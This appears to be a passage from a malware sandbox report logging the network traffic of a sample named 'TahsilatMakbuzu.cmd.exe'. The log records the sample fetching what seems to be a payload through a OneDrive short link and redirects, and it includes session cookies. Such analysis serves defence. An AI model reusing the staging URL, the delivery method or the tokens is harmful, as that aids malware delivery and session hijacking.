word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 31 SPIisLatency: 3 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F83C6BF83FD749D6B69DDF09561BB483 Ref B: BN3EDGE0909 Ref C: 2024-07-04T18:16:22Z Date: Thu, 04 Jul 2024 18:16:21 GMT Connection: close
2024-07-04 18:16:22 UTC	2773	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:22 UTC	8192	IN	Data Raw: 33 39 2c 2d 35 37 35 36 39 35 34 34 30 2c 33 34 32 36 30 31 31 33 34 2c 2d 36 38 30 34 31 31 37 30 34 2c 31 35 34 37 36 38 30 32 33 31 2c 2d 34 34 35 32 35 34 36 39 31 2c 2d 36 38 36 38 33 34 35 37 2c 2d 32 31 33 35 31 38 38 31 30 32 2c 2d 31 34 31 33 39 30 31 31 38 2c 2d 31 36 34 38 32 34 32 35 30 2c 32 30 36 32 39 35 36 35 33 35 2c 2d 31 32 37 36 36 35 38 35 37 35 2c 32 30 34 32 32 32 33 39 34 30 2c 2d 38 39 31 34 35 33 35 39 37 2c 35 31 37 37 38 37 39 33 35 2c 32 35 39 34 36 33 31 33 30 2c 2d 38 34 36 33 31 36 33 31 39 2c 2d 39 35 34 32 31 37 35 36 34 2c 31 39 35 31 39 36 34 38 34 2c 2d 33 35 33 37 36 34 30 38 39 2c 31 39 33 38 37 30 35 33 37 34 2c 31 36 30 37 36 36 36 31 35 30 2c 31 34 37 31 30 36 31 37 33 33 2c 31 33 33 31 32 32 30 30 32 33 2c 31 37 Data Ascii: 39,-575695440,342601134,-680411704,1547680231,-445254691,-68683457,-2135188102,-141390118,-164824250,2062956535,-1276658575,2042223940,-891453597,517787935,259463130,-846316319,-954217564,195196484,-353764089,1938705374,1607666150,1471061733,1331220023,17
2024-07-04 18:16:22 UTC	3612	IN	Data Raw: 74 72 75 65 2c 22 39 44 30 33 43 31 36 31 2d 46 37 41 36 2d 34 45 42 38 2d 38 42 34 35 2d 34 44 42 37 46 36 31 41 45 43 34 31 22 3a 74 72 75 65 2c 22 41 32 37 45 36 44 41 44 2d 39 34 39 46 2d 34 42 37 41 2d 39 44 39 36 2d 39 44 33 39 36 41 30 42 31 41 36 30 22 3a 74 72 75 65 2c 22 39 31 37 31 31 46 32 32 2d 44 34 34 45 2d 34 41 35 35 2d 39 32 38 32 2d 32 36 34 35 31 30 42 30 38 33 43 43 22 3a 74 72 75 65 2c 22 45 45 44 44 31 44 36 46 2d 36 39 46 34 2d 34 30 32 38 2d 39 46 31 46 2d 34 36 32 30 37 39 33 33 38 45 44 41 22 3a 74 72 75 65 2c 22 34 30 36 39 38 43 30 34 2d 31 31 38 39 2d 34 45 30 38 2d 42 39 33 30 2d 46 39 39 37 44 45 36 35 32 42 38 37 22 3a 74 72 75 65 2c 22 33 41 37 31 36 37 30 39 2d 39 34 31 35 2d 34 32 34 39 2d 39 32 39 35 2d 36 39 32 30 36 Data Ascii: true,"9D03C161-F7A6-4EB8-8B45-4DB7F61AEC41":true,"A27E6DAD-949F-4B7A-9D96-9D396A0B1A60":true,"91711F22-D44E-4A55-9282-264510B083CC":true,"EEDD1D6F-69F4-4028-9F1F-462079338EDA":true,"40698C04-1189-4E08-B930-F997DE652B87":true,"3A716709-9415-4249-9295-69206
2024-07-04 18:16:22 UTC	8192	IN	Data Raw: 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 Data Ascii: ,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267
2024-07-04 18:16:22 UTC	8192	IN	Data Raw: 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 Data Ascii: ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tru
2024-07-04 18:16:22 UTC	8192	IN	Data Raw: 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 Data Ascii: 4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF44
2024-07-04 18:16:22 UTC	8192	IN	Data Raw: 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 Data Ascii: A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E
2024-07-04 18:16:22 UTC	8192	IN	Data Raw: 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 Data Ascii: 2955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-85
2024-07-04 18:16:22 UTC	8192	IN	Data Raw: 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 Data Ascii: true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F7
2024-07-04 18:16:22 UTC	8192	IN	Data Raw: 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 Data Ascii: A8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49745	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:23 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:23 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SA2PPF1D100CCE7 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: omSKeSima023pOD2Q2IXWw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 8DAE03BB3DA442B1AC73A9B968D857EC Ref B: EWR311000102023 Ref C: 2024-07-04T18:16:23Z Date: Thu, 04 Jul 2024 18:16:22 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49746	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:24 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:25 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:OaTRaVWc3Ig=:G4doDmkaWFRe7EZ0t26bIMwRRNi9IRfQ4dEpFkBQ06I=:F; domain=.live.com; path=/ Set-Cookie: xid=24641249-8f0a-4180-a85e-fd0f5cb66f48&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:24 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzg0LCJuYmYiOjE3MjAxMTY5ODQsImdpdmVuX25hbWUiOiIyOSIsImZhbWlseV9uYW1lIjoiQ2F0dGxlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNmU1NmZkZTdkZjJhN2Q3MzRmYjJiMTM5MjZiYzdmNmIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk4NH0.A8H38CC5GnaUwAHby4XHZDLvRwJLiM2wC8hZ_XrfhOHU9W_-EbHbjW7Cr5MYCstHl-pyvyV-TH1zIbtOQzZV_FwJqI08EuTlf4aoI2uEV6zxJkCI9YLF8YgYXmtL62MROwNkzlM4FXREF6H8xPk0Rw-juurayZsAXJyWvAPY5xwWN-09JpHNWeCZ2N_EhSNtcWqEy4Z_tBj84MO7r-4dWzh7Dgw7hwz8I8m7rEighhuNwxk09FzfzXr6KKRlx0UzVIF3CXQcoXWtU3WMbjpfjVqECrxp9d6jVK7J9dHVt4y8bk8ZSVQ-Kj40kPllIiLH1p_uayJdzelQiWk45Y9l6Q; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:25 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-mvfdc X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1F8B5F0D1D01465A835E7F2320D3CACF Ref B: BN3EDGE1118 Ref C: 2024-07-04T18:16:24Z Date: Thu, 04 Jul 2024 18:16:25 GMT Connection: close
2024-07-04 18:16:25 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49747	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:26 UTC	1288	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzg0LCJuYmYiOjE3MjAxMTY5ODQsImdpdmVuX25hbWUiOiIyOSIsImZhbWlseV9uYW1lIjoiQ2F0dGxlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNmU1NmZkZTdkZjJhN2Q3MzRmYjJiMTM5MjZiYzdmNmIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk4NH0.A8H38CC5GnaUwAHby4XHZDLvRwJLiM2wC8hZ_XrfhOHU9W_-EbHbjW7Cr5MYCstHl-pyvyV-TH1zIbtOQzZV_FwJqI08EuTlf4aoI2uEV6zxJkCI9YLF8YgYXmtL62MROwNkzlM4FXREF6H8xPk0Rw-juurayZsAXJyWvAPY5xwWN-09JpHNWeCZ2N_EhSNtcWqEy4Z_tBj84MO7r-4dWzh7Dgw7hwz8I8m7rEighhuNwxk09FzfzXr6KKRlx0UzVIF3CXQcoXWtU3WMbjpfjVqECrxp9d6jVK7J9dHVt4y8bk8ZSVQ-Kj40kPllIiLH1p_uayJdzelQiWk45Y9l6Q; E=P:OaTRaVWc3Ig=:G4doDmkaWFRe7EZ0t26bIMwRRNi9IRfQ4dEpFkBQ06I=:F; xid=24641249-8f0a-4180-a85e-fd0f5cb66 [TRUNCATED]
2024-07-04 18:16:26 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,2,36383,0,224683,4 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 311239a1-80a2-5000-d2f1-c4eed7726c92 request-id: 311239a1-80a2-5000-d2f1-c4eed7726c92 MS-CV: oTkSMaKAAFDS8cTu13Jskg.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 26 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 3BBCD06605AC4D38877DA08BF094F1F8 Ref B: BN3EDGE0918 Ref C: 2024-07-04T18:16:26Z Date: Thu, 04 Jul 2024 18:16:26 GMT Connection: close
2024-07-04 18:16:26 UTC	2242	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:26 UTC	8192	IN	Data Raw: 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 35 37 34 38 38 31 2c 32 31 33 35 30 37 32 36 31 2c 31 36 36 39 Data Ascii: 